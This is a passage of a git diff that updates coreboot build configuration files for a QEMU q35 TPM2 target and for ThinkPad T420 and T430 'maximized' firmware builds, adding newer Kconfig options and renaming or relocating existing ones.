b/config/coreboot-qemu-tpm2.config @@ -6,14 +6,13 @@ # # General setup # -CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set CONFIG_CCACHE=y +# CONFIG_LTO is not set # CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set @@ -41,7 +40,6 @@ CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set # # Software Bill Of Materials (SBOM) @@ -59,10 +57,11 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # # CONFIG_VENDOR_51NB is not set # CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set # CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOOSTAR is not set # CONFIG_VENDOR_AOPEN is not set # CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ARM is not set # CONFIG_VENDOR_ASROCK is not set # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set @@ -71,22 +70,28 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_CWWK is not set # CONFIG_VENDOR_DELL is not set CONFIG_VENDOR_EMULATION=y +# CONFIG_VENDOR_ERYING is not set # CONFIG_VENDOR_EXAMPLE is not set # CONFIG_VENDOR_FACEBOOK is not set # CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_FRAMEWORK is not set # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set # CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set # CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set # CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LATTEPANDA is not set # CONFIG_VENDOR_LENOVO is not set # CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MITAC_COMPUTING is not set # CONFIG_VENDOR_MSI is not set # CONFIG_VENDOR_OCP is not set # CONFIG_VENDOR_OPENCELLULAR is not set @@ -97,6 +102,7 @@ CONFIG_VENDOR_EMULATION=y # CONFIG_VENDOR_PRODRIVE is not set # CONFIG_VENDOR_PROTECTLI is not set # CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAPTOR_CS is not set # CONFIG_VENDOR_RAZER is not set # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set @@ -107,7 +113,9 @@ CONFIG_VENDOR_EMULATION=y # CONFIG_VENDOR_SUPERMICRO is not set # CONFIG_VENDOR_SYSTEM76 is not set # CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TOPTON is not set # CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set CONFIG_BOARD_SPECIFIC_OPTIONS=y CONFIG_MAINBOARD_PART_NUMBER="QEMU x86 q35/ich9" CONFIG_MAINBOARD_VERSION="1.0" @@ -123,17 +131,26 @@ CONFIG_MAX_CPUS=4 CONFIG_ONBOARD_VGA_IS_PRIMARY=y # CONFIG_POST_DEVICE is not set # CONFIG_POST_IO is not set +CONFIG_OVERRIDE_DEVICETREE="" CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set CONFIG_VBOOT_VBNV_OFFSET=0x2c # CONFIG_CHROMEOS is not set -CONFIG_OVERRIDE_DEVICETREE="" # CONFIG_VGA_BIOS is not set +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Emulation" +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xb0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +# CONFIG_FATAL_ASSERTS is not set CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="QEMU x86 q35/ich9" +# CONFIG_CONSOLE_POST is not set CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -# CONFIG_CONSOLE_POST is not set +CONFIG_MAX_SOCKET=1 CONFIG_TPM_PIRQ=0x0 # CONFIG_BOARD_EMULATION_QEMU_AARCH64 is not set # CONFIG_BOARD_EMULATION_QEMU_ARMV7 is not set @@ -143,10 +160,8 @@ CONFIG_TPM_PIRQ=0x0 CONFIG_BOARD_EMULATION_QEMU_X86_Q35=y # CONFIG_BOARD_EMULATION_QEMU_RISCV_RV64 is not set # CONFIG_BOARD_EMULATION_QEMU_RISCV_RV32 is not set +# CONFIG_BOARD_EMULATION_QEMU_SBSA is not set # CONFIG_BOARD_EMULATION_SPIKE_RISCV is not set -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xb0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0x10000 CONFIG_DCACHE_RAM_SIZE=0x90000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 @@ -156,19 +171,19 @@ CONFIG_MAX_ACPI_TABLE_SIZE_KB=224 CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_CARDBUS_PLUGIN_SUPPORT=y # CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="QEMU x86 q35/ich9" CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="PNP0F13" CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set CONFIG_DRIVERS_UART_8250IO=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x100000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" +CONFIG_EC_STARLABS_BATTERY_TYPE="LION" +CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="debug console=ttyS0,115200 console=tty" -CONFIG_BOARD_ROMSIZE_KB_16384=y +CONFIG_BOARD_ROMSIZE_KB_8192=y # CONFIG_COREBOOT_ROMSIZE_KB_256 is not set # CONFIG_COREBOOT_ROMSIZE_KB_512 is not set # CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set @@ -205,7 +220,7 @@ CONFIG_CBFS_MCACHE_SIZE=0x4000 CONFIG_ROMSTAGE_ADDR=0x2000000 CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +# CONFIG_USE_X86_64_SUPPORT is not set CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 CONFIG_EHCI_BAR=0xfef00000 @@ -219,6 +234,7 @@ CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_HPET_MIN_TICKS=0x80 CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_DEBUG_STACK_OVERFLOW_BREAKPOINTS=y CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 @@ -238,6 +254,7 @@ CONFIG_UDELAY_TSC=y CONFIG_UNKNOWN_TSC_RATE=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_HAVE_SMI_HANDLER=y +CONFIG_NEED_SMALL_2MB_PAGE_TABLES=y CONFIG_SMM_ASEG=y CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 @@ -284,6 +301,7 @@ CONFIG_MAINBOARD_HAS_CHROMEOS=y # # end of ChromeOS +CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y CONFIG_ARCH_VERSTAGE_X86_32=y @@ -291,7 +309,7 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_HAVE_X86_64_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 @@ -301,10 +319,17 @@ CONFIG_POSTCAR_STAGE=y CONFIG_BOOTBLOCK_SIMPLE=y # CONFIG_BOOTBLOCK_NORMAL is not set CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_IDT_IN_EVERY_STAGE=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y # CONFIG_DUMP_SMBIOS_TYPE17 is not set +CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 +CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 +CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 +CONFIG_DEFAULT_EBDA_SIZE=0x400 # end of Chipset # @@ -324,7 +349,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 +CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 # end of Display CONFIG_PCI=y @@ -350,6 +375,9 @@ CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y # Generic Drivers # CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_ELOG is not set +# CONFIG_DRIVERS_OPTION_CFR is not set +# CONFIG_SMMSTORE is not set CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_DRIVERS_UART=y @@ -359,8 +387,9 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_USBDEBUG is not set # CONFIG_VPD is not set CONFIG_DRIVERS_EMULATION_QEMU_BOCHS=y -CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1024 -CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=768 +CONFIG_DRIVERS_EMULATION_QEMU_CIRRUS=y +CONFIG_DRIVERS_EMULATION_QEMU_XRES=800 +CONFIG_DRIVERS_EMULATION_QEMU_YRES=600 # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set @@ -398,12 +427,10 @@ CONFIG_VBOOT_LIB=y # # Trusted Platform Module # -# CONFIG_NO_TPM is not set # CONFIG_TPM1 is not set CONFIG_TPM2=y CONFIG_TPM=y # CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y # CONFIG_TPM_LOG_TPM2 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" @@ -436,6 +463,7 @@ CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_NOT_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y # # Console @@ -484,6 +512,7 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # # CONFIG_PAYLOAD_NONE is not set # CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_FLAT_BINARY is not set # CONFIG_PAYLOAD_BOOTBOOT is not set # CONFIG_PAYLOAD_FILO is not set # CONFIG_PAYLOAD_GRUB2 is not set @@ -494,10 +523,8 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -534,7 +561,6 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # General Debug Settings # # CONFIG_GDB_STUB is not set -# CONFIG_FATAL_ASSERTS is not set # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set diff --git a/config/coreboot-t420-maximized.config b/config/coreboot-t420-maximized.config index fdd176c2d..c54c07196 100644 --- a/config/coreboot-t420-maximized.config +++ b/config/coreboot-t420-maximized.config @@ -6,14 +6,13 @@ # # General setup # -CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set # CONFIG_CCACHE is not set +# CONFIG_LTO is not set # CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set @@ -40,7 +39,6 @@ CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set # # Software Bill Of Materials (SBOM) @@ -58,10 +56,11 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # # CONFIG_VENDOR_51NB is not set # CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set # CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOOSTAR is not set # CONFIG_VENDOR_AOPEN is not set # CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ARM is not set # CONFIG_VENDOR_ASROCK is not set # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set @@ -70,22 +69,28 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_CWWK is not set # CONFIG_VENDOR_DELL is not set # CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_ERYING is not set # CONFIG_VENDOR_EXAMPLE is not set # CONFIG_VENDOR_FACEBOOK is not set # CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_FRAMEWORK is not set # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set # CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set # CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set # CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LATTEPANDA is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MITAC_COMPUTING is not set # CONFIG_VENDOR_MSI is not set # CONFIG_VENDOR_OCP is not set # CONFIG_VENDOR_OPENCELLULAR is not set @@ -96,6 +101,7 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_PRODRIVE is not set # CONFIG_VENDOR_PROTECTLI is not set # CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAPTOR_CS is not set # CONFIG_VENDOR_RAZER is not set # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set @@ -106,7 +112,9 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_SUPERMICRO is not set # CONFIG_VENDOR_SYSTEM76 is not set # CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TOPTON is not set # CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set CONFIG_BOARD_SPECIFIC_OPTIONS=y CONFIG_MAINBOARD_FAMILY="ThinkPad T420" CONFIG_MAINBOARD_PART_NUMBER="ThinkPad T420" @@ -123,22 +131,28 @@ CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y +CONFIG_OVERRIDE_DEVICETREE="" CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_OVERRIDE_DEVICETREE="" # CONFIG_VGA_BIOS is not set +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" CONFIG_DRAM_RESET_GATE_GPIO=10 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +# CONFIG_FATAL_ASSERTS is not set +CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T420" CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_MAX_SOCKET=1 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_VBOOT_SLOTS_RW_A=y CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 @@ -158,7 +172,6 @@ CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_STMICRO=y # CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T420" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 @@ -166,7 +179,11 @@ CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 # CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set # CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set # CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M900_TINY is not set +# CONFIG_BOARD_LENOVO_M920Q is not set # CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T480 is not set +# CONFIG_BOARD_LENOVO_T480S is not set # CONFIG_BOARD_LENOVO_T400 is not set # CONFIG_BOARD_LENOVO_T500 is not set # CONFIG_BOARD_LENOVO_R400 is not set @@ -186,6 +203,7 @@ CONFIG_BOARD_LENOVO_T420=y # CONFIG_BOARD_LENOVO_Z61T is not set # CONFIG_BOARD_LENOVO_R60 is not set # CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M710S is not set # CONFIG_BOARD_LENOVO_X131E is not set # CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set # CONFIG_BOARD_LENOVO_X200 is not set @@ -199,18 +217,19 @@ CONFIG_BOARD_LENOVO_T420=y # CONFIG_BOARD_LENOVO_X230S is not set # CONFIG_BOARD_LENOVO_X230_EDP is not set # CONFIG_BOARD_LENOVO_X60 is not set -CONFIG_DRIVER_LENOVO_SERIALS=y CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0015" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_LENOVO_TBFW_BIN="" CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x100000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" +CONFIG_EC_STARLABS_BATTERY_TYPE="LION" +CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_8192=y @@ -254,7 +273,7 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +# CONFIG_USE_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 @@ -274,6 +293,7 @@ CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_DEBUG_STACK_OVERFLOW_BREAKPOINTS=y CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 @@ -297,6 +317,7 @@ CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y CONFIG_HAVE_SMI_HANDLER=y +CONFIG_NEED_SMALL_2MB_PAGE_TABLES=y CONFIG_SMM_TSEG=y CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 @@ -320,6 +341,11 @@ CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y # CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set # CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set CONFIG_RAMINIT_ENABLE_ECC=y +CONFIG_IGD_DEFAULT_UMA_SIZE_32MB=y +# CONFIG_IGD_DEFAULT_UMA_SIZE_64MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_96MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_128MB is not set +CONFIG_IGD_DEFAULT_UMA_INDEX=0 # # Southbridge @@ -382,6 +408,7 @@ CONFIG_HAVE_GBE_BIN=y # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y CONFIG_ARCH_VERSTAGE_X86_32=y @@ -389,7 +416,7 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_HAVE_X86_64_SUPPORT=y CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y @@ -404,6 +431,10 @@ CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y # CONFIG_DUMP_SMBIOS_TYPE17 is not set +CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 +CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 +CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 +CONFIG_DEFAULT_EBDA_SIZE=0x400 # end of Chipset # @@ -424,7 +455,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 +CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 # end of Display CONFIG_PCI=y @@ -459,6 +490,7 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_DRIVERS_OPTION_CFR is not set # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y @@ -485,6 +517,7 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVER_LENOVO_SERIALS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y @@ -531,15 +564,15 @@ CONFIG_VBOOT_LIB=y # # Trusted Platform Module # -# CONFIG_NO_TPM is not set CONFIG_TPM1=y +# CONFIG_TPM2 is not set CONFIG_TPM=y CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set # CONFIG_TPM_LOG_CB is not set CONFIG_TPM_LOG_TPM1=y +# CONFIG_TPM_LOG_TPM2 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 @@ -625,6 +658,7 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # # CONFIG_PAYLOAD_NONE is not set # CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_FLAT_BINARY is not set # CONFIG_PAYLOAD_BOOTBOOT is not set # CONFIG_PAYLOAD_FILO is not set # CONFIG_PAYLOAD_GRUB2 is not set @@ -635,10 +669,8 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -674,7 +706,6 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # General Debug Settings # -# CONFIG_FATAL_ASSERTS is not set # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set diff --git a/config/coreboot-t430-maximized.config b/config/coreboot-t430-maximized.config index 530583227..0eb88c11f 100644 --- a/config/coreboot-t430-maximized.config +++ b/config/coreboot-t430-maximized.config @@ -6,14 +6,13 @@ # # General setup # -CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set # CONFIG_CCACHE is 